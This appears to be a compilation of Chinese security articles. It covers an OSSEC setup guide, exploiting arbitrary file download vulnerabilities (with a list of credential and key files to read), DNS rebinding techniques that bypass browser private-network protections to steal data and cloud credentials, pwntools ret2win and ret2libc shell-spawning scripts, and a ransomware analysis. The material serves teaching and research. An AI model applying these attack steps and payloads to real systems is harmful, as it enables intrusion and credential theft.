MDAxIGFnZW50MSAxNzIuMTYuOTEuMTM0IGU0MWY1YzhkNTc4NDc4ZWU4ZWI0ZmY2ZDRiYTZlMmFjM2QyNmRlYmRjZDI1ZDI1NmUzYWY4OWYyMTA0NzYyMTY= Agent information: ID:001 Name:agent1 IP Address:172.16.91.134 Confirm adding it?(y/n): Y Added. ** Press ENTER to return to the main menu. 按Q退出 2.启动客户端 root@backlion:~# /var/ossec/bin/ossec-control start 至此,客户端已经安装完成且已导入从服务端哪里获得的Key值,接下来的工作就是要装一个 五、Web界面安装 1.下载ossec-wui [root@localhost ~]#wget http://www.ossec.net/files/ossec-wui-0.X.tar.gz 2.解压ossec-wui [root@localhost ~]# tar xf ossec-wui-0.x.tar.gz 3.进入到ossec-wui的安装目录 [root@localhost ~]#cd ossec-wui-0.x [root@localhost ~]# ls CONTRIB css htaccess_def.txt img index.php js lib LICENSE ossec_conf.php README README.search setup.sh site 4.拷贝目录下的所有文件到目标/opt/ossec目录下 [root@localhost ~]# cp -Rf * /opt/ossec/ 5.进入到/opt/ossec/目录 [root@localhost ~]#cd /opt/ossec/ 6.进行安装ossec-wui [root@localhost ~]#./setup.sh Setting up ossec ui… Username: ossec New password: ossec #输入密码 Re-type new password: Adding password for user ossec Enter your web server user name (e.g.apache, www, nobody, www-data, …) apache Enter your OSSEC install directory path(e.g. /var/ossec) /var/ossec You must restart your web server after thissetup is done. Setup completed successfuly. 7.对ossec.config进行配置,需要添加虚拟目录 [root@localhost ~]#vi /etc/httpd/conf.d/ossce.conf Alias /ossec/ "/opt/ossec/" <Directory "/opt/ossec/"> Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all # Order deny,allow # Deny from all # Allow from 127.0.0.1 AuthName "OSSEC AUTH" AuthType Basic AuthUserFile /opt/ossec/.htpasswd Require valid-user </Directory> 8.对ossec-wui目录的权限授权给apache用户 [root@localhost ~]#chown apache:apache * 9.重新启动httpd服务 [root@localhost ~]#service httpd restart 六、排查常用命令 1.agent未连接(Disconnected或Never connected)的状态 /var/ossec/bin/ossec-control restart #重启ossec服务 netstat -antup|grep ossec #查看端口 /etc/init.d/ossec restart #重启ossec服务 2.文件描述符限制 linux系统默认最大打开文件数为1024,需要修改内核参数为2048 # ulimit -n 2048 # sysctl -w kern.maxfiles=2048 # sysctl -w net.core.rmem_default=5123840 # sysctl -w net.core.rmem_max = 5123840 3.查看状态 /var/ossec/bin/agent_control -lc /var/ossec/bin/list_agents -a /var/ossec/bin/ossec-control status 4.sendmail邮件发不出,可修改查看主机名是否规范,需要检查以下地方,修改完毕重启sendmail即可 [root@ossec-server analogi-master]# cat /etc/hosts 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 127.0.0.1 ossec-server.com 10.10.16.1 ossec-server.com [root@ossec-server analogi-master]# cat /etc/sysconfig/network NETWORKING=yes HOSTNAME=ossec-server.com [root@ossec-server analogi-master]# hostname ossec-server.com 七、ossec的配置文件详解 在unix,linux或者bsd上安装ossec hids,默认安装路径是/var/ossec,在启动过程中ossec hids会将目录chroot,并且配置文件和规则也从该目录读取,下边科普下,ossec下目录结构及各个模块都有啥用: #核心配置文件: ossec.conf #ossec hids主要配置文件 internal_options.conf: #额外配置选项文件 decoders.xml: #文件解码器,各种规则都在这里写来调用 client.keys: #用于客户端与服务器认证通信 /var/ossec/bin #目录包含ossec hids使用的二进制文件。 /var/ossec/etc #目录包含所有ossec hids使用的配置文件 #日志文件: /var/ossec/logs: #包含有关ossec hids所有的日志目录 ossec.log: #包含osse hids所有日志(error,warn,info和其他) alerts/alerts.log #ossec hids报警日志 active-responses.log #ossec hids响应日志 #队列: /var/ossec/queue #目录包含ossec hids队列文件 agent-info #目录包含操作系统版本、ossec hids版本等信息 syscheck #目录包含每个agent的数据校验日志 rootcheck #目录包含每个agent,rootkit检查数据和监控规则。 rids #目录包含agent ids信息 #规则 /var/log/rules #目录包含所有osse hids规则 /var/log/stats #目录包含每秒统计数据等文件 了解ossec hids配置文件: 我们将开始了解如何在unix,linux和bsd上本地/服务器进行配置。ossec hids主要配置文件名叫ossec.conf,该文件使用xml表记语言编写,ossec hids配置文件选择位于<ossec_config>中,该配置文件包含如下段落: <global> #全局配置配置 <alerts> #邮件和日志报警选项 <email_alerts> #细力度邮件配置文件 <remote> #该选项只允许在server端配置 <database_output> #数据库输出选项 <rules> #包含规则列表 <client> #agent有关配置文件选项 <localfile> #日志文件监控配置选项 <syscheck> #系统检查配置文件选项 <rootcheck> #rootki发现和规则监控选项 <command> #主机响应配置选项 <active-response> #恶意主机响应配置选项 配置报警级别及收集所有日志: 每个报警都有一个严重级别报警等级,ossec的等级是这样分配的,0到15,15是最高等级,0是最低等级,默认情况下每个警报是从1到15,在ossec hids配置文件选项中报警级别7以上的都会发送邮件报警,如果修改ossec.conf中的报警配置选项,可以修改如下配置: <ossec_config> <alerts> <log_alert_level>2</log_alert_level> <email_alert_level>8</email_alert_level> </alerts> </ossec_config> 上边的配置文件,只记录2以上的报警级别日志,并且报警级别高于8以上的报警都会发送邮件。 收集日志: 除了记录每一条报警和每一个事件记录外你可以配置ossec hids接收所有日志,配置文件如下: <ossec_config> <global> <logall>yes</logall> </global> </ossec_config> <ossec_config> 配置邮件: 默认情况下,在安装ossec hids server的时候会提示你配置邮件发信,但这个发信里默认只写入一条收件人,假如我有多个收件人是不是没办法了呢?答案当然不是,ossec hids里可以这样配置多个收件人,这里以gmail为例子: <ossec_config> <email_notification>yes</ email_notification > <email_to>[email protected]< email_to > <smtp_server>[email protected]< smtp_server > <email_from>[email protected]</email_from> <email_maxperhour>20</email_maxperhour> </global> </ossec_config> 默认的配置文件是这样,如添加其他人可以这样,<email_to>[email protected]</email_to>即可添加lost这个用户加入收件人列表。如果不需要配置文件怎么办呢?ossec hids也可以关闭掉邮件选项,设置配置如下: <ossec_config> <global> <email_notifi cation>no</email_notification> </global> </ossec_config> 也可以让某个邮箱只接受特定级别的邮件,配置文件可以这样写: <ossec_config> <email_alerts> <email_to>[email protected]</email_to> <level>10</level> <format>sms</format> </email_alerts> </ossec_config> 安全选项配置: 众所周知,ossec收集日志的服务也是采用syslog,只不过它会开启个1514的udp端口来接收数据,这其实和514端口并无差别不是吗,但为了安全考虑,需要允许指定的机器来连接我们的syslog服务,配置文件可以这样写: <ossec_config> <remote> <connection>secure</connection> <allowed-ips>192.168.10.0/24</allowed-ips> </remote> </ossec_config> 上边的意思就是允许这个网段来连接syslog服务接收数据。 监控文件变化: ossec还可以做为文件监控来监视网站目录下的变动情况,ossec检测文件的时候分为几个部分:check_all、check_sum、check_size、check_onwer、check_group、check_perm,如果是检测网站变动的话,可以在ossec.conf里写入如下配置: <ossec_config> <syscheck> <directoriescheck_all=“yes”>/var/www/htdocs</directories> </syscheck> </ossec_config> <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;"> 来自为知笔记(Wiz)
-
任意文件下载漏洞的利用思考
0x01 前言 任意文件下载漏洞作为最常见的WEB漏洞之一,在平常的渗透测试中经常遇到,但是很多人却并没有深入去想该如何利用这种漏洞,导致忽略了一些细节的信息。 0x02 传统利用 1) 下载配置文件连数据库 通过任意文件下载漏洞下载网站配置文件,利用数据库配置信息远程连接数据库。 php:通过读取当前页面源码反向查找数据库配置文件 aspx: Web.config java:WEB-INF/web.xml、WEB-INF/classes/applicationContext.xml 、application.yml、application.properties、conf/tomcat-users.xml 其它配置: php.ini、my.ini、MetaBase.xml、access.log 2) 下载操作系统敏感文件 通过下载操作系统中的文件获取敏感信息,不同操作系统中的敏感文件包括 Windows: C:\Windows\win.ini C:\Windows\System32\drivers\etc\hosts C:\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.{%d}.gthr 其中%d替换为1-500的数字,文件中保存大量应用对应的临时文件路径,可以泄露敏感信息,有时有奇效 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 其中Administrator可以替换为其它系统用户名,文件中保存Powershell历史执行命令记录 Linux: /etc/passwd /etc/shadow /etc/profile /etc/hosts /etc/issue /etc/ssh/sshd_config /root/.bash_history 历史命令 /root/.ssh/authorized_keys ssh公钥 /root/.ssh/id_rsa ssh私钥 /root/.mysql_history /proc/net/arp 内网arp表信息 /proc/net/route 内网路由表信息 /proc/net/tcp 主机建立的tcp连接信息,类似于netstat /proc/[PID]/cmdline 其中pid替换为进程号,返回当进程运行时的命令 /proc/[PID]/environ 其中pid替换为进程号,返回当进程运行时的环境变量信息 /proc/self/loginuid 当前用户 /proc/sched_debug 获取当前进程信息0x03 进阶利用 1)SpringBoot环境下的任意文件利用 SpringBoot一般来说是通过jar包来启动服务,如图3.1所示,所以通过任意文件下载漏洞最有利用价值的是下载到SpringBoot对应的jar包。 这里可以组合linux文件下载中的多个文件,构造一条SpringBoot任意文件下载利用链,如下所示。 【Step1】 从图3.1可以看出SpringBoot一般是通过java命令来启动的,所以可以通过java关键字来定位对应的pid进程号。 通过任意文件读取/proc/sched_debug,获取服务器中的进程信息。通过关键字java定位SpringBoot对应的进程,获取进程号pid,如图3.2所示。 【Step2】 通过/proc/[PID]/cmdline和/proc/[PID]/environ获取进程对应的信息,一般情况下通过这种方式可以拿到SpringBoot对应的jar包的绝对路径,如图3.3,图3.4所示。其中cmdline可以获取进程对应的包名,environ可以获取对应的绝对路径,组合之后可以得到jar包对应绝对路径,如图3.5所示。 通过组合/proc/sched_debug和/proc/[PID]/environ可以满足绝大部分场景下对目标进程信息的探索。 2)SpringMVC环境下的任意文件利用 由于java程序并不能像PHP那样通过读当前文件来一步步下载整个程序的源码做代码审计,SpringMVC环境下一般的代码处理逻辑都在controller类中,但是我们仍然可以通过任意文件下载漏洞来下载对应的源码。 【Step1】 通过下载WEB-INF/web.xml文件,查看其中的servlet-class标签,有针对性下载标签对应的类名,如图3.6所示。 【Step2】 基于拿到的类的全限定类名,下载对应的class文件。如图3.6所示,拿到类的全限定类名是com.js.oa.jsflow.action.WorkFlowPdfServlet,则对应的class文件相对路径为classes/com/js/oa/jsflow/action/WorkFlowPdfServlet.class,如图3.7所示。 除了web.xml中可以找到类的全限定类名,在任何一个.class文件中,均可以找到这种类似的全限定类名。通过这种方式遍历可以较完整的拿到整个SpringMVC的源码,对于其它tomcat servlet项目也是一样的思路。 需要说明的是,并不是所有的tomcat项目的controller源码都能在WEB-INF/classes/目录下找到,还有部分系统会把逻辑代码写到jar包中并放在WEB-INF/lib/目录下,如图3.8所示,某系统在classes目录下不存在任何class文件,所有的逻辑均在WEB-INF/*.jar包中。如果代码逻辑在jar包中,就需要猜测jar包的完整名称,这种情况下通常不容易通过黑盒方式下载到源代码。 0x04 深度利用 在上面的方式中,还是偏向于通过任意文件下载下载网站源代码进行源码分析,但是在某些框架中,可以通过源码下载漏洞构造反序列化利用链,达到RCE的效果。 CodeIgniter框架是一个非常流行的php框架,在中小WEB应用中具有较大的使用量。旧版本的CodeIgniter默认情况下CodeIgniter的session保存在Cookie中,并且通过反序列的方式来加载。 我下载的CodeIgniter的源码是以前下载的,可能和最新的代码稍有出入。在system/libraries/Session.php文件中,如图4.1所示。 其中保证Cookie不被篡改的关键是通过hash_hmac方法计算Cookie最后40位的hash值,其中$this->encryption_key是CodeIngniter框架配置文件中的值,保存在application/config/config.php文件中,这个值没有默认值,并且不能为空,如图4.2所示。 如果存在任意文件下载漏洞,下载对应的application/config/config.php文件,则可以获取Cookie加密的key,这样就可以把任意文件下载漏洞转化为反序列化漏洞。 在CodeIgniter框架中,如果Cookie中包含了序列化的内容,如图4.3所示,则代表可以通过任意文件读取获取加密key来构造反序列化过程,结合框架本身的反序列化利用链,则可能造成反序列化漏洞。 基于框架的Cookie反序列化漏洞在实际中非常普遍,其它还有很多框架也有类似的问题,Yii框架也有类似于CodeIgniter一样的逻辑,在之前一篇关于通达OA的反序列化漏洞的文章https://mp.weixin.qq.com/s/nOQuqt_mO0glY-KALc1Xiw中,介绍过关于Yii硬编码key导致的反序列化漏洞。同样如果存在任意文件下载漏洞,则可以读取对应的key构造反序列化利用链。 如果是aspx的目标网站,同样可以通过任意文件下载,获取Web.config中关于ViewState参数的加密密钥,ViewState参数经过解密之后会进行反序列化操作,造成.net的反序列化漏洞,详情可以参考文章 https://paper.seebug.org/1386/。0x05 总结 在渗透测试的过程中,如果遇到任意文件下载漏洞,多数场景下都可以对任意文件下载漏洞进行深入利用。本文主要结合一些特定的目标场景,总结一些关于任意文件下载漏洞的利用思路,本文仅做学习研究,请勿进行非法的网络攻击活动。 来源:烽火台实验室
-
利用DNS重绑定在Chrome、Edge和Safari中实现瞬间DNS重绑定的攻击技术
本文介绍了在Chrome、Edge和Safari中实现可靠的DNS重绑定的新技术,并讨论了绕过本地网络限制的技术。通过分析慢缓存的根本原因,提出了新的解决技术。本文研究了利用DNS重绑定在Chrome、Edge和Safari中实现瞬间DNS重绑定的攻击技术。 本文是关于DNS重新绑定系列文章中的第二篇。第一篇文章介绍了一个使用DNS重新绑定后攻击的案例。在这篇文章中,我介绍了在IPv6可用时在Chrome, Edge和Safari中实现可靠的,瞬间DNS重新绑定的新技术,以及一种绕过本地网络限制的技术,该技术适用于基于Chrome的浏览器的获取API。 浏览器中的DNS重绑定传统上被视为攻击者通过诱骗受害者加载恶意网站来访问内部网络服务的一种方式,但随着许多现代web应用程序现在在其部分功能上驱动无头浏览器,它已成为攻击web应用程序的有用工具。无头浏览器,即 Headless Browser,是一种没有界面的浏览器。它拥有完整的浏览器内核,包括 JavaScript 解析引擎、渲染引擎等。与普通浏览器最大的不同是,无头浏览器执行过程中看不到运行的界面,但是我们依然可以用 GUI 测试框架的截图功能截取它执行中的页面。在上一篇文章中,我介绍了一个使用可能是最简单的重新绑定方法的例子。在这种情况下,我有很长的时间让漏洞运行,但这在许多web应用程序中不太可能,需要更快的技术。 缓慢的缓存 简单的DNS重绑定技术依赖于对相同主机名的连续查找返回不同的DNS记录。对于这些攻击,所花费的最小时间是浏览器执行两次连续DNS查找之间的时间。这有时可以通过刷新浏览器缓存来加快速度,生成大量DNS查找以填充可用的缓存空间,并导致旧条目在过期之前被清除,从而使浏览器更快地对相同的主机名执行第二次查找。 当它工作时,它仍然需要大约10秒的时间,而且通常这种技术不会起作用,因为中间缓存不能像浏览器的缓存那样容易地被清除。例如,在测试期间,我发现在一个新创建的Ubuntu EC2实例上,由于系统解析的缓存,我只能每5分钟为同一域获得不同的响应。在VPN上,我看到DNS响应在默认解析器上至少缓存30分钟。让用户将页面打开这么长时间以允许攻击者实现DNS重新绑定漏洞,通常是一件很困难的事情,更不用说将无头浏览器作为web应用程序的一部分驱动了。 为了加速漏洞利用,2010年Craig Heffner提出了通过在相同响应中回复同一域的多个A记录来执行DNS重新绑定的想法,Gerald Doussot和Roger Meyer在2019年的singularity 中使用了这种技术。Singularity 是一个开放源码容器平台,旨在简化、快速和安全。Singularity 是针对 EPC 和 HPC 工作负载进行优化的,允许不受信任的用户以可信的方式运行不受信任的容器。 返回的两条记录是攻击者控制的公共服务器的IP地址和目标服务器的(通常是私有的)IP地址。 只有当浏览器试图首先与公共服务器通信并加载攻击者的恶意页面时,攻击才会起作用。然后,攻击者的web服务器开始阻止来自受害者浏览器的流量,导致浏览器退回到将所有请求发送到目标服务器。在这种情况下,攻击者页面中的JavaScript将能够向同一来源下的目标IP地址发送请求。 这种技术确实绕过了缓存问题,因为浏览器只需要执行一次DNS查找,尽管在我的测试期间,所有主要浏览器都会始终尝试在公共IP地址之前与私有IP地址通信,这意味着这些技术不起作用。虽然我不相信这种行为是为了防止DNS重新绑定,但它可以有效的阻止这种技术。 这种新行为促使我研究新的技术,可以用来在Safari和基于chrome的浏览器中实现瞬间DNS重新绑定。这些技术的关键是找到新的方法,使浏览器最初使用公共IP,然后在加载网站时切换到使用私有IP。打开Wireshark,我注意到在现代浏览器中加载网站时,会同时发送A和AAAA查询。我开始调查这种行为是否可以用来可靠地执行DNS重新绑定。 攻击Safari:延迟DNS响应 当你在通过IPv6访问互联网的主机上加载Safari网页时,分别为IPv4和IPv6地址发送A和AAAA DNS查询。当返回多个IP地址时,Safari将优先考虑私有IP地址而不是公共IP地址。 当A或AAAA响应延迟时,Safari中允许快速DNS重新绑定的有趣行为会发生。在这种情况下,Safari不会等待所有DNS响应,而是在接收到第一个DNS响应后立即发送HTTP请求。当收到延迟的DNS响应时,此响应中的IP地址将被添加到IP地址池中,Safari可以在将来请求该域时使用该IP地址池。 这意味着,如果第一个DNS响应是针对公共IP地址的,而延迟的DNS响应是针对私有IP地址的,Safari将向公共IP地址发送第一个请求,直到接收到延迟的DNS响应,此时它将开始向私有IP地址发送请求。 这提供了一种在Safari中使用自定义DNS服务器实现DNS重新绑定的简单方法,该服务器可处理*.r.inded.es的查询: 1.加载目标浏览器http://safari.r.intrud.es,触发safari.r.intrud.es的A和AAAA查找。 2.让DNS服务器立即返回AAAA记录,其中包含互联网上攻击者控制的web服务器的IPv6地址。暂时不要返回A响应。 3.一旦收到AAAA响应,Safari将向攻击者的web服务器发出第一个请求。从攻击者的web服务器返回一个带有JavaScript的页面来重复请求http://safari.r.intrud.es/secret.txt。 4.从DNS服务器发送包含本地网络上目标服务器的IP地址的A响应。 5.Safari现在将对http://safari.r.intrud.es/secret.txt的请求发送到本地网络上的目标服务器。从攻击者的服务器加载的页面可以读取这些请求的响应,而不会违反同源策略。 为了实现这一点,我编写了一个小型DNS服务器,可以使用命令行参数延迟DNS响应。在实践中,我发现将A响应延迟100毫秒几乎总是足够的,尽管可以使用200毫秒或更长时间的延迟来使该技术更加可靠。可以在这里https://github.com/intruder-io/dns-delay-server找到这个服务器以及设置它的说明。 我用来利用它的PHP脚本会将用户重定向到r.introd.es的随机子域,以避免中间缓存干扰利用。它还将JavaScript直接包含在页面中,以避免另一个资源负载。你可以在这里找到使用的代码。 该脚本在操作中的视频请点此,从本地web服务器检索文件的内容: 我在iOS上的Safari和Brave上进行了测试,发现同样的技术也可以用于访问内部网络上的服务。 攻击Chrome:使用AAAA优先级 Chrome将优先加载本地网络上的页面,而不是互联网上的页面,但在可用的情况下,它会优先加载IPv6而不是IPv4上的页面。所以首要任务是: 1.本地IPv6(最高优先级); 2.公共IPv6; 3.当地IPv4; 4.公共IPv4(最低优先级); 这里的关键部分是Chrome会优先考虑公共IPv6地址而不是私有IPv4地址。此外,当Chrome知道一个域的多个IP地址时,一旦服务器重置连接,它就会尝试不同的IP地址。 这给出了一个针对Chrome的快速DNS重绑定计划: 1.加载http://chrome.r.intrud.es,这将触发A和AAAA查找chrome.r.intrud.es。 2.让DNS服务器返回指向本地网络上目标web服务器的A记录和指向公共互联网上攻击者控制的web服务器的AAAA记录。 3.Chrome将优先考虑IPv6地址,并从攻击者控制的web服务器发出第一个加载页面的请求,该服务器返回JavaScript以重复向http://chrome.r.intrud.es/secret.txt发出请求。 4.关闭攻击者控制的服务器,以便重置所有连接。Chrome现在将把所有请求发送到本地网络上的目标服务器。 5.让加载的页面向http://chrome.r.intrud.es/secret.txt发出请求。可以在不违反同源策略的情况下读取对这些请求的响应。 这个计划几乎成功了。从互联网加载的页面上的JavaScript试图向本地网络上的目标发出请求,但这些请求被阻止,并在控制台中显示以下错误: Access to fetch at 'http://chrome.r.intrud.es/secret.txt' from origin 'http://chrome.r.intrud.es' has been blocked by CORS policy: The request client is not a secure context and the resource is in more-private address space `local`.出现此错误是因为Chrome部分实现了私有网络访问(PNA)https://wicg.github.io/private-network-access/规范中描述的保护。 绕过PNA Private Network Access(以前称为 CORS-RFC1918 )限制了网站向私有网络上的服务器发送请求的能力。根据规范,此类请求只允许来自安全上下文。另外,该规范扩展了跨域资源共享(CORS)协议,因此网站现在必须在允许发送任意请求之前,必须显式请求私有网络上服务器的许可。 私有网络是指目标服务器的IP地址比从其获取请求服务器的IP地址更私有的请求。例如,从公共网站(https://example.com)向私有网站(http://router.local)的请求,或从私有网站向 localhost 的请求。 PNA保护阻止通过普通HTTP从公共互联网加载的页面向私有网络发出请求。在Chrome中,这些保护是为fetch请求实现的,但还没有为iframe实现。不完整的实现以及DNS重新绑定允许绕过对获取请求的PNA限制。 我们可以重复利用到上面的步骤4,其中公共web服务器已经关闭,所有对http://chrome.r.intrud.es的请求现在都被定向到本地网络上的目标服务器。加载的首页不能向本地网络发出请求,因为它是通过HTTP从公共互联网加载的,但是我们可以在iFrame中加载http://chrome.r.intrud.es。这个iFrame中的页面将从目标web服务器加载。由于此服务器位于本地网络上,因此允许在iFrame中加载的页面向本地网络发出请求。 iFrame中的页面也与顶部页面处于相同的起源,这使得顶部页面可以完全控制框架页面的DOM。这包括注入脚本,使获取请求进入框架页面。这些脚本可以用来访问目标web服务器并泄露数据,就像如果PNA根本没有实现的话,它们可以从首页获取数据一样。 所以,把这些放在一起,我们最终得到了一个完整的步骤: 1.加载http://chrome.r.intrud.es,这将触发A和AAAA查找chrome.r. imports .es。 2.让DNS服务器返回一条A记录,指向本地网络中的目标web服务器,并返回一条AAAA记录,指向公网上攻击者控制的web服务器。 3.Chrome将首先请求从攻击者的web服务器加载顶部页面,该服务器返回一个页面以执行以下步骤。 4.关闭攻击者控制的服务器,以便重置所有连接尝试。5.Chrome现在将把所有请求发送到本地网络上的目标服务器。 6.从首页,将一个脚本注入框架页面以请求http://chrome.r.intrud.es/secret.txt并将响应发送到攻击者的web服务器。 这可以在Chrome中实现瞬间DNS重新绑定。 为了帮助实现这个漏洞,我编写了一个小型web服务器,当它接收到/block请求时将停止。你可以在这里找到运行它的源代码和说明。 当攻击自动浏览器时,你通常想要在页面中包含一个iFrame,这需要一些时间来加载。这将阻止浏览器认为页面已完全加载,直到iFrame已加载,并确保漏洞利用脚本有足够的时间运行。下面的演示显示,当gowitness被用来从启用了IPv6的EC2上截取恶意网站的截图时,这个漏洞被用来从AWS元数据服务中提取凭证: 或者对于更可能在web应用程序中发现的场景,使用无头Chromium将网页转换为PDF: 这种绕过Chrome的PNA限制的行为通过他们的问题跟踪器报告给了Chrome团队。他们确定这不是安全问题,因为PNA的限制仍在实施过程中。 总结 DNS重新绑定是攻击web应用程序的一个武器。在本系列的第一篇文章中,我试图展示如何在不太复杂的情况下实现针对web应用程序的重新绑定漏洞。在这篇文章中,我提供了一些工具和技术来构建可靠的漏洞攻击驱动自动浏览器的web应用程序,即使它们只加载页面很短的时间。
-
浅析最流行的二进制代码利用技术
二进制代码利用是发现和利用计算机程序中的漏洞以修改或干扰其预期行为的一种方法。这些漏洞可能导致身份验证绕过和信息泄漏,或者还可能导致远程代码执行情形。很大一部分二进制代码利用发生在堆栈(stack)上,有时候发生在堆(heap)上,甚至发生在内核空间上。堆栈是存储由函数创建的临时变量的内存区域。相比之下,堆则是可以动态分配的内存区域。 下面介绍的所有技术都依赖用户输入和程序的潜在崩溃或分段错误——缓冲区溢出。当进程试图用超出预期的过多数据填充一块内存区域时,就会出现这种损坏。有鉴于此,就有可能覆盖内存,并控制下一个指令点/函数。 接下来,我们将描述堆栈利用过程中一些最常用的技术。 ret2win 我们可以将ret2win技术理解为对二进制代码中存在的特定调用«win() function»的简单重定向。实现这一目标的主要步骤如下: • 找到目标函数/调用,以重定向执行流«win() function»。 • 通过覆盖堆栈上的返回地址(比如EIP)来调用它。 下一段代码介绍如何找到这类漏洞。在添加填充和对齐载荷之后,必须添加目标调用«win() function - 0x080491c3»的偏移量,最后执行它。本文使用了用于二进制利用的CTF框架Pwntools(https://github.com/Gallopsled/pwntools),为学习过程提供便利。 from pwn import * p = process('./vuln_program') payload = b'A' * 52 payload += p32(0x080491c3) #target call «win() function» log.info(p.clean()) p.sendline(payload) log.info(p.clean())有了这种技术,就可以在程序执行期间跳转到所需的函数,从而绕过应用程序控制措施。 关于这个主题的更多细节可以在这里找到:https://corruptedprotocol.medium.com/rop-emporium-ret2win-x86-64-44a1cacb546。 ret2libc ret2libc是一种技术,其中重定向流基于到libc调用的面向返回的编程(ROP)链。这种方法对于绕过一些二进制代码保护(比如NX即无执行)很重要,在Windows操作系统中又称为数据执行预防(DEP)。 在二进制代码被利用的操作系统上找到libc的内存区域之后,必须基于libc的基址计算一些函数(包括系统调用)的实际地址。系统调用执行作为参数传递的任何字符串。传递给系统调用的最佳字符串是“/bin/sh”,这显然会弹出新的系统shell。 下面是表示这种探索的代码片段。正如我们所见,libc基址高亮显示为0x7ffff7de5000,并用于计算二进制内存区域内的system和/bin/sh字符串。 之后执行ROP链,它因二进制漏洞、目标操作系统、架构及其他外部变量而异。 from pwn import * p = process('./vuln-64') libc_base = 0x7ffff7de5000 #libc base address needed system = libc_base + 0x48e20 # address of system call binsh = libc_base + 0x18a143 # binsh string to pop a shell POP_RDI = 0x4011cb payload = b'A' * 72 # The padding payload += p64(POP_RDI) # gadget -> pop rdi; ret payload += p64(binsh) # pointer to command: /bin/sh payload += p64(system) # Location of system payload += p64(0x0) # return pointer - not important once we get the shell p.clean() p.sendline(payload) p.interactive()关于该技术的更多细节以及如何探索它,可以在这里找到:https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc。 格式字符串 格式字符串技术在每当将用户输入字符串作为命令来评估时都会发生。这种技术可用于执行代码、泄漏堆栈,甚至导致分段错误情形。 比如说,格式字符串参数%x和%s定义了格式函数的转换类型。针对诸如此类的输入,可能会泄露内存部分信息,这种方法还可以与上述的ret2lic一起使用。 下表给出了经常用于这种攻击中的一些格式函数。 看看下一段C代码,print函数易受攻击,因为默认情况下参数函数(%p和%s等)并未指定。因此,用户可以在输入中指定它,从而充分利用这个二进制利用场景。 #include void main(int argc, char **argv) { // This line is vulnerable, no parameter specified (%p,%s, etc) printf(argv[1]); }在使用一堆%p执行程序后,堆栈地址将被泄漏,并且可以轻松找到执行ret2lic方法的lib基址。 ./example "Hello World %p %p %p %p %p %p" => output: Hello World 000E133E 000E133E 0057F000 CCCCCCCC CCCCCCCC CCCCCCCC关于该技术的更多细节可以在这里找到:https://owasp.org/www-community/attacks/Format_string_attack。 流行的二进制代码利用技术 二进制代码利用是渗透测试界利用内存不安全程序的最先进的攻击之一。由于二进制代码本身、保护机制以及它如何与不同的操作系统和多种架构进行交互具有复杂性,学习起来可能令人望而生畏。
-
比较Windows系统和Linux之间的勒索软件加密技术
Check Point Research (CPR)提供了一些最近针对Linux系统和ESXi系统的勒索软件攻击案例,不难发现,这些攻击在过去几年一直在增加。 2021年发布的Babuk源代码显然促进了大量勒索软件的出现,许多针对Linux大量使用OpenSSL库以及ChaCha20/RSA和AES/RSA的算法接连出现。 分析介绍 我们对一些顶级勒索软件家族(总共12个)进行了研究,发现这些勒索软件要么是直接为Linux系统开发的,要么是用具有强大跨平台组件的语言开发的,比如Golang或Rust,允许它们在Windows和Linux上不加区分地编译。 为了更好比较Linux和Windows开发的勒索软件,我们首先需要关注这两个系统的历史演变。 Linux勒索软件 Windows勒索软件 首先,我们注意到,第一个可查的勒索软件样本(尽管处于非常早期的阶段)可以追溯到1989年。这种被称为AIDS的威胁是通过软盘和目标Windows系统传播的。 直到2004年的GPCode,我们才开始看到第一批恶意软件。它们专注于Windows环境,很快勒索软件威胁开始进行演变,如2006年的Archiveus,或2012年作为第一个RaaS出现的Reveton。 到2015年,有了Linux.Encoder.1,这是专门针对Linux的勒索软件。此时,网络威胁已经在Windows系统中得到高度发展。尽管这些威胁在Windows中很成熟,但并不能直接转移到Linux上。 事实上,尽管在2015年已经有针对Linux的勒索软件,但相比来说,数量仍然非常少。从2020年开始一直到现在,RaaS的Linux版本以及用Golang或Rust等语言开发的跨平台样本开始出现。 技术分析 在目前针对基于linux的操作系统的攻击中,我们分析了一些最新的: Maori Cl0p Cylance Royal ViceSociety IceFire BlackCat ESXiArgs Rorschach Monti LockBit GwisinLocker 在许多情况下,工具本身被简化了,在二进制文件中只会留下最小的功能和内容,在某些情况下,只将它们减少到文件加密代码。这使得本文所列举的样本非常依赖外部配置、脚本或命令行来配置其目标。最著名的例子之一是Cl0p,它只具有加密功能,它支持的唯一参数是要加密的路径。 在名为“ESXiArgs”的勒索软件中,二进制文件本身甚至没有嵌入RSA公钥,但需要包含密钥的文件的路径作为参数,以便它可以执行加密,这个样本甚至没有加密整个目录的功能,攻击者必须用执行加密器的脚本遍历每个文件。事实上,恶意软件的名称是由使用该恶意软件的攻击者的https给出的,它特意面向这种类型的系统。 除了加密功能之外,许多面向linux的勒索软件几乎没有什么逻辑,因此检测它们可能是一项挑战,因为它们的所有代码都基于许多其他合法应用程序可能包含的相同加密代码。 在许多样本中,与服务器的通信协议,是为加密系统做准备的一些命令执行。创建某种持久性的功能(在许多最活跃的Windows系列中发现),甚至是嵌入式配置都是异常元素,可以实现更详细的恶意软件检测,但在大多数勒索软件中不存在。 当然,也有一些例外,比如BlackCat,它是一个跨平台的样本,具有特定于windows的功能,如删除影子副本或搜索共享文件夹。再比如GwisinLocker,它有一个嵌入式加密配置,允许它在不需要参数的情况下工作,并且更加独立。 最主要和最显著的动机无疑是对ESXi虚拟化系统的特殊兴趣。通过攻击这些系统,攻击者可以极大地影响多个服务和设备(所有使用这种技术虚拟化)。这可能就是为什么绝大多数以linux为目标的勒索软件,尽管除了加密本身之外几乎没有什么功能,却倾向于运行旨在与ESXi系统交互的特定命令,特别是: Linux勒索软件图 需要指出的是,由于ESXi系统与Linux系统并不完全相同,因此发布的不同样本包含有静态链接,以便它们可以在两个系统上独立运行。 